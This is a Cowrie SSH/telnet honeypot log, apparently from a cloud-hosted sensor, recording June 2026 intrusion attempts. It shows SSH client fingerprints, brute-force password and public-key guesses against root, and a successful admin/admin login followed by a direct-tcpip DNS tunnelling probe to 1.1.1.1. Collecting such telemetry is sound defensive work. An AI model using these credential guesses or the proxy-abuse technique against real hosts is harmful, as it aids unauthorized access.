{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":58784,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1870b228d87","protocol":"telnet","message":"New connection: 94.23.66.112:58784 (10.17.0.5:23) [session: f1870b228d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:12.671212Z"}
{"eventid":"cowrie.session.closed","duration":0.0039288997650146484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:12.675016Z","src_ip":"94.23.66.112","session":"f1870b228d87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.00445079803467,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:17.340572Z","src_ip":"172.81.62.90","session":"6c8eb6185caa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.403318881988525,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:17.755296Z","src_ip":"172.81.62.90","session":"1ce8e1f3377a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.45050811767578,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:52.048028Z","src_ip":"172.81.62.90","session":"ff7a730d2c54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":48184,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5eecc40d034","protocol":"ssh","message":"New connection: 72.17.34.38:48184 (10.17.0.5:22) [session: c5eecc40d034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:54.112494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:54.116840Z","src_ip":"72.17.34.38","session":"c5eecc40d034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:54.151101Z","src_ip":"72.17.34.38","session":"c5eecc40d034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf123456.","message":"login attempt [root/Asdf123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:54.323183Z","src_ip":"72.17.34.38","session":"c5eecc40d034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:55.361259Z","src_ip":"72.17.34.38","session":"c5eecc40d034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.215","src_port":28516,"dst_ip":"10.17.0.5","dst_port":22,"session":"65ece2ab9a8e","protocol":"ssh","message":"New connection: 198.98.56.215:28516 (10.17.0.5:22) [session: 65ece2ab9a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.345249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.350852Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.407174Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:1a:f2:67:08:11:d2:f9:81:a4:ad:41:54:54:1e:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYfNLDw+zS5NlNBOKO94QjprkEqTRXp9acrBGvOaT8dmFH/NUIMlcpVkDou5XfCVXZUyBffArpl+jMoJv1BUrGBFTPf0cM0lXgBXLcewTYCBIlxUCJyxTVu0xDDsLmSAmre8WnAZ33z4e5lEdSCQbOAuklM3ktsAgG2hlkqr+2V5KAHEQRnBD02Yl18iqmUfa/qQhTcDqMZhgDxEeTUf+6xja31yle9wDFuWZZJ3D4fhhYlLc+9s9P4sC+MGdKJDoOjsRdodGGjwUTahSwl8MzW4mQXqzik1jLKD6FKfLdh6nXiB0zbQeTztTlr312KOk4DzsaaHpbZPmoGVxn/kFn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:1a:f2:67:08:11:d2:f9:81:a4:ad:41:54:54:1e:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.485818Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:1a:f2:67:08:11:d2:f9:81:a4:ad:41:54:54:1e:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYfNLDw+zS5NlNBOKO94QjprkEqTRXp9acrBGvOaT8dmFH/NUIMlcpVkDou5XfCVXZUyBffArpl+jMoJv1BUrGBFTPf0cM0lXgBXLcewTYCBIlxUCJyxTVu0xDDsLmSAmre8WnAZ33z4e5lEdSCQbOAuklM3ktsAgG2hlkqr+2V5KAHEQRnBD02Yl18iqmUfa/qQhTcDqMZhgDxEeTUf+6xja31yle9wDFuWZZJ3D4fhhYlLc+9s9P4sC+MGdKJDoOjsRdodGGjwUTahSwl8MzW4mQXqzik1jLKD6FKfLdh6nXiB0zbQeTztTlr312KOk4DzsaaHpbZPmoGVxn/kFn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.488648Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:01:15:33:33:d5:4a:d1:b0:97:97:62:18:87:84:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwzkXOHhFJ+I+nIESOg1OKeTEprKVM+6ZT0qo3iklr2HjqedbHY8y536CBJ5nzx3YpBvXKJukMjM3rp50zEas+ES93F/dIfsU6H6RpWCon29rIbSZFiUE8uVoEk551yD3IWECbsNlNiFAov2wlObva4Mo9FVtrb62njAWK81G8TOLjWFB2ncE966OiZbSQxLNfSkANeVHeKPMdtsGQGUzZJQZE2E1bGhP+nEu3QRNXHFDhUOdirQE1F+rBEtf+7MkeF7EcNO9iCbBYDXPfq9+2wZURjdyXxkUTNpuzbz8Xv8yW+rQYioB+/fIHRXwoP5bKTbu8MLC7gCnKy2a6owRbw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:01:15:33:33:d5:4a:d1:b0:97:97:62:18:87:84:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.497461Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:01:15:33:33:d5:4a:d1:b0:97:97:62:18:87:84:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwzkXOHhFJ+I+nIESOg1OKeTEprKVM+6ZT0qo3iklr2HjqedbHY8y536CBJ5nzx3YpBvXKJukMjM3rp50zEas+ES93F/dIfsU6H6RpWCon29rIbSZFiUE8uVoEk551yD3IWECbsNlNiFAov2wlObva4Mo9FVtrb62njAWK81G8TOLjWFB2ncE966OiZbSQxLNfSkANeVHeKPMdtsGQGUzZJQZE2E1bGhP+nEu3QRNXHFDhUOdirQE1F+rBEtf+7MkeF7EcNO9iCbBYDXPfq9+2wZURjdyXxkUTNpuzbz8Xv8yW+rQYioB+/fIHRXwoP5bKTbu8MLC7gCnKy2a6owRbw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.500826Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:f9:00:8b:71:50:14:42:a6:17:1a:40:b3:19:a8:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQEQ9QzGbwtsd16OwYebkprsv724bP6Chwpv/Y3YxlXpwlNQBH884rbAZv0u8nz1NItr+Kw1YVreebIb3HljBww1sMdmobp+cvJZqLB7K3au7UHn1/ZQGv1wFtLrZE0KYZ6QyCCgjScbyuyAcAUKM8k5roJpZ1iqsiyjRiOrvfisocMi4MmENfiCmUJfqdQ+KH57vHzrdP0rary5YTuJnzjY8urPj/wRUxNgGJYRMgnY3EqOicMz12DzvvPtAZx4XTplWwvU7AmgIDtuq6OjnEwyFsVZWTyeoN/ji16EVUCufI53BkGx3V1+l3VWoZAzrNZ6v8cJSKhdxhvW6cSHpD3r7+hne91U50miV4uKIFEugm+5zZn0+3DDUPQyups1UCWZgBStVypcdpsducJ0zatk5MOhfy1HrWwqo437vdvTaZFj/G40ptoqw3fmLdZPG8iPyQqsWkn5XDaqqlvZXPILw4Wrsg06W7xf/cqUGRCv8wDPve9JCTaIIxtmJpTuH3y4PO4M5LbGFWvgCQcjnrdBw6D5rkehOaz4HLJaSVhPf8IPU494Ygw+adH64CFWANIfL4WPQZZOFrJOrsnks/2shvKXv7lY6ZcvINJS7KtmT7QMXaxDsHVEujTYjTziK+url+mU1BypCYMoDrxzdOlK66FPb3O7fl5t7hcUv8iQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:f9:00:8b:71:50:14:42:a6:17:1a:40:b3:19:a8:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.509791Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:f9:00:8b:71:50:14:42:a6:17:1a:40:b3:19:a8:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQEQ9QzGbwtsd16OwYebkprsv724bP6Chwpv/Y3YxlXpwlNQBH884rbAZv0u8nz1NItr+Kw1YVreebIb3HljBww1sMdmobp+cvJZqLB7K3au7UHn1/ZQGv1wFtLrZE0KYZ6QyCCgjScbyuyAcAUKM8k5roJpZ1iqsiyjRiOrvfisocMi4MmENfiCmUJfqdQ+KH57vHzrdP0rary5YTuJnzjY8urPj/wRUxNgGJYRMgnY3EqOicMz12DzvvPtAZx4XTplWwvU7AmgIDtuq6OjnEwyFsVZWTyeoN/ji16EVUCufI53BkGx3V1+l3VWoZAzrNZ6v8cJSKhdxhvW6cSHpD3r7+hne91U50miV4uKIFEugm+5zZn0+3DDUPQyups1UCWZgBStVypcdpsducJ0zatk5MOhfy1HrWwqo437vdvTaZFj/G40ptoqw3fmLdZPG8iPyQqsWkn5XDaqqlvZXPILw4Wrsg06W7xf/cqUGRCv8wDPve9JCTaIIxtmJpTuH3y4PO4M5LbGFWvgCQcjnrdBw6D5rkehOaz4HLJaSVhPf8IPU494Ygw+adH64CFWANIfL4WPQZZOFrJOrsnks/2shvKXv7lY6ZcvINJS7KtmT7QMXaxDsHVEujTYjTziK+url+mU1BypCYMoDrxzdOlK66FPb3O7fl5t7hcUv8iQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.515074Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:fa:24:d0:8c:1d:8b:21:f8:63:1a:1b:05:15:a3:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxHANMR7ue6GnttEJ+kbbwIDjGtstRrXLf9t4qZgp/TyvfY64LxaJtQGibVZG2b6B+pMayuWxrxkxyU2MaR2pPflHVfBbySQXGY6VajOEsYlkr3F0plQ5X/B46sxn3zRKg+MIs84/+yei6HX9RiRu+pmzgiyUEvzzS86vDbD1R8NlOpKBo9XVn/W4J8X/fNbOVMpLxJ+LG6SCW0ugL12VDExCQ1NC+c6JrT2/AqhyzX6+4UTVt/6KxNyfmOODwemjvZtSCXj0F5mWbseT80iyTdIwptKFGGdynHF22sIG591lDcXcVPIWN1DCT7qWsX7BdvFZzBH2VWiHeuY7aFR0SC0qzOQHyo+twcjwBySY4O5IyKvINLQ82xHAFTugUGwBwIuD+cYGHEkh91onXm0J/LTsYVBUMCSwwdSYSDuPK/q/WUCfPl833+gxF1HLnxBzoVIQ/DRmX7o565EJVY8h0y4TuhT6NYBt6eJAZxRXykMZ3iSlwlw5ra4VPdE/24WtMI50jN1R/wpijwi04SHxDzSF8BN812GEt3fTtvYRrXZ+h6GreWVRE5vF0sV5VwQTXEyR+TSS7TJhKmvgiePHVzcLZomtegQLt4Wz/oehpB3Ef210278D+cARp7Y9Fd9J3rJw4MbQ7lykxtJ0btu67okOPtC0J7CQ0er+iUGLjoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:fa:24:d0:8c:1d:8b:21:f8:63:1a:1b:05:15:a3:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.527184Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:fa:24:d0:8c:1d:8b:21:f8:63:1a:1b:05:15:a3:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxHANMR7ue6GnttEJ+kbbwIDjGtstRrXLf9t4qZgp/TyvfY64LxaJtQGibVZG2b6B+pMayuWxrxkxyU2MaR2pPflHVfBbySQXGY6VajOEsYlkr3F0plQ5X/B46sxn3zRKg+MIs84/+yei6HX9RiRu+pmzgiyUEvzzS86vDbD1R8NlOpKBo9XVn/W4J8X/fNbOVMpLxJ+LG6SCW0ugL12VDExCQ1NC+c6JrT2/AqhyzX6+4UTVt/6KxNyfmOODwemjvZtSCXj0F5mWbseT80iyTdIwptKFGGdynHF22sIG591lDcXcVPIWN1DCT7qWsX7BdvFZzBH2VWiHeuY7aFR0SC0qzOQHyo+twcjwBySY4O5IyKvINLQ82xHAFTugUGwBwIuD+cYGHEkh91onXm0J/LTsYVBUMCSwwdSYSDuPK/q/WUCfPl833+gxF1HLnxBzoVIQ/DRmX7o565EJVY8h0y4TuhT6NYBt6eJAZxRXykMZ3iSlwlw5ra4VPdE/24WtMI50jN1R/wpijwi04SHxDzSF8BN812GEt3fTtvYRrXZ+h6GreWVRE5vF0sV5VwQTXEyR+TSS7TJhKmvgiePHVzcLZomtegQLt4Wz/oehpB3Ef210278D+cARp7Y9Fd9J3rJw4MbQ7lykxtJ0btu67okOPtC0J7CQ0er+iUGLjoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.530129Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:fc:71:6b:8b:c2:f2:da:e3:91:ff:d3:df:dd:61:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDm6jKgIbiT3+hRymgf7LWoCgcc4RhdEz+Gb6So5T9WI9ollOP2WRALqd2jyPrGrVLeaYwYGWcuZfdo7F9JJt4dun6eiJQgLpxhKPCvU+KIcTk2jwyvA3nlv0HU9eKqtzh7am/oNlRaZZK946uK7/kWpE14DhBAZG1Q3y2mYgNi0oGwDd9H/JpCbf9H/GoHnoplGo12nvu390R5MFiEZxTXdQSmRXfbC2ykFzy9BvoOX78XmczYdTD2rPCa7Z9rZ7P8yqnKeQLVA2nZT98iGGXlXgMwZCq65mmemr9W7BHQnx2V+N7oXE+Wstipzmx0ReF1tnAstRNCd2TYe/BU1I9t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:fc:71:6b:8b:c2:f2:da:e3:91:ff:d3:df:dd:61:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.537480Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:fc:71:6b:8b:c2:f2:da:e3:91:ff:d3:df:dd:61:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDm6jKgIbiT3+hRymgf7LWoCgcc4RhdEz+Gb6So5T9WI9ollOP2WRALqd2jyPrGrVLeaYwYGWcuZfdo7F9JJt4dun6eiJQgLpxhKPCvU+KIcTk2jwyvA3nlv0HU9eKqtzh7am/oNlRaZZK946uK7/kWpE14DhBAZG1Q3y2mYgNi0oGwDd9H/JpCbf9H/GoHnoplGo12nvu390R5MFiEZxTXdQSmRXfbC2ykFzy9BvoOX78XmczYdTD2rPCa7Z9rZ7P8yqnKeQLVA2nZT98iGGXlXgMwZCq65mmemr9W7BHQnx2V+N7oXE+Wstipzmx0ReF1tnAstRNCd2TYe/BU1I9t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.540549Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:05.552037Z","src_ip":"198.98.56.215","session":"65ece2ab9a8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11840,"dst_ip":"10.17.0.5","dst_port":22,"session":"768603a58261","protocol":"ssh","message":"New connection: 87.251.64.176:11840 (10.17.0.5:22) [session: 768603a58261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:49.666017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:49.669612Z","src_ip":"87.251.64.176","session":"768603a58261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:49.763523Z","src_ip":"87.251.64.176","session":"768603a58261","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:50.048031Z","src_ip":"87.251.64.176","session":"768603a58261","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:50.144523Z","session":"768603a58261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":59006,"dst_ip":"10.17.0.5","dst_port":22,"session":"c70133134cb4","protocol":"ssh","message":"New connection: 103.27.238.114:59006 (10.17.0.5:22) [session: c70133134cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:50.181277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:50.184780Z","src_ip":"103.27.238.114","session":"c70133134cb4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:50.240477Z","src_ip":"87.251.64.176","session":"768603a58261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:12:50.339902Z","src_ip":"87.251.64.176","session":"768603a58261","protocol":"ssh"}
